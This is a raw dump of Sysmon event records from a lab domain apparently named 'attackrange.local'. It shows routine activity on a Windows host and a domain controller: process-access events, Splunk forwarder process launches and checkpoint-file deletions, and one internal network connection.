14:50:35.195{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014975Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:35.195{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014974Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:35.195{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014973Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:35.195{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014972Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:35.195{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014971Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:35.195{625C326B-67EC-613B-0500-00000000F101}412528C:\Windows\system32\csrss.exe{625C326B-70BB-613B-C204-00000000F101}1956C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000014970Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:35.195{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-70BB-613B-C204-00000000F101}1956C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000014969Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:35.196{625C326B-70BB-613B-C204-00000000F101}1956C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000014968Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:35.164{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=59A2396F79E43D0E610C27E9D3C6C181,SHA256=5240D07C821415D033C05F024E34BB3BB5A507638FE34DF3124849766036A0D5,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047348Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:36.493{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=EC485590746564891FBA87FFEA623121,SHA256=B5B75C6813CECFF252FA45130A4B1D4254D2E6E45C347E679BF6399909192C6C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015013Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:36.695{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A07EF103AD574C7DB346966A5D40C623,SHA256=B91E5F99844910B01EBF05499C3D858A50B4281FB79986407D2522DFB985C2E4,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015012Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:36.227{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=40D9BB88B9FBEDDF66D4CF866E69EC5D,SHA256=799EA6F1862A44DCB81FF8265CED3D91B41067BA5F4C06E2472E24C9164D0B93,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000015011Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:36.195{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-70BC-613B-C404-00000000F101}2688C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015010Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:36.195{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015009Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:36.195{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015008Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:36.195{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015007Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:36.195{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015006Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:36.195{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015005Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:36.195{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015004Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:36.195{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015003Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:36.195{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015002Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:36.195{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015001Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:36.195{625C326B-67EC-613B-0500-00000000F101}4122740C:\Windows\system32\csrss.exe{625C326B-70BC-613B-C404-00000000F101}2688C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000015000Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:36.195{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-70BC-613B-C404-00000000F101}2688C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000014999Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:36.196{625C326B-70BC-613B-C404-00000000F101}2688C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000047349Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:37.509{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A2686BEB380CE48B45438B130712199C,SHA256=C40184B78E3787C1A81376E5B79850C2F8345E5DEE9C92CE863F41AEED50A90E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015014Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:37.711{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5C1C89F2B7D68D7F99057C44BE2360B0,SHA256=BD5DCB477461930E95C17E831774ED36DA4A7F9F24E8E7DE792E44824CF5DAE5,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015015Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:38.727{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=01D7E5120B214070F4C6C5689D8F635C,SHA256=96A3D46EF99205779EF49ACDADB8975ACE096437C849DD12582595D1444687BE,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000047351Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:35.494{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59384-false10.0.1.12-8000- 23542300x800000000000000047350Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:38.540{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8B6B10E5FFA7A794F703428ABE7CF118,SHA256=1D191DB6253D216D38E1DD3CDFDDB1ACE3E4D3CC2FC64608F02C70AFC1987575,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015016Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:39.742{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=75C7A3DEC5C9B0325370EFDAFD97638B,SHA256=9326A23BA68ABDE713D3E4D1928855618029DD8E5744492166FFDF4852365631,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047352Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:39.556{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D959E52A56642D4BCDE74D81832EB9FF,SHA256=B31DF07237F4914F2F430700023B1C642B3C23E8AD830E2046873BB1278B3CDB,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047353Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:40.603{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program 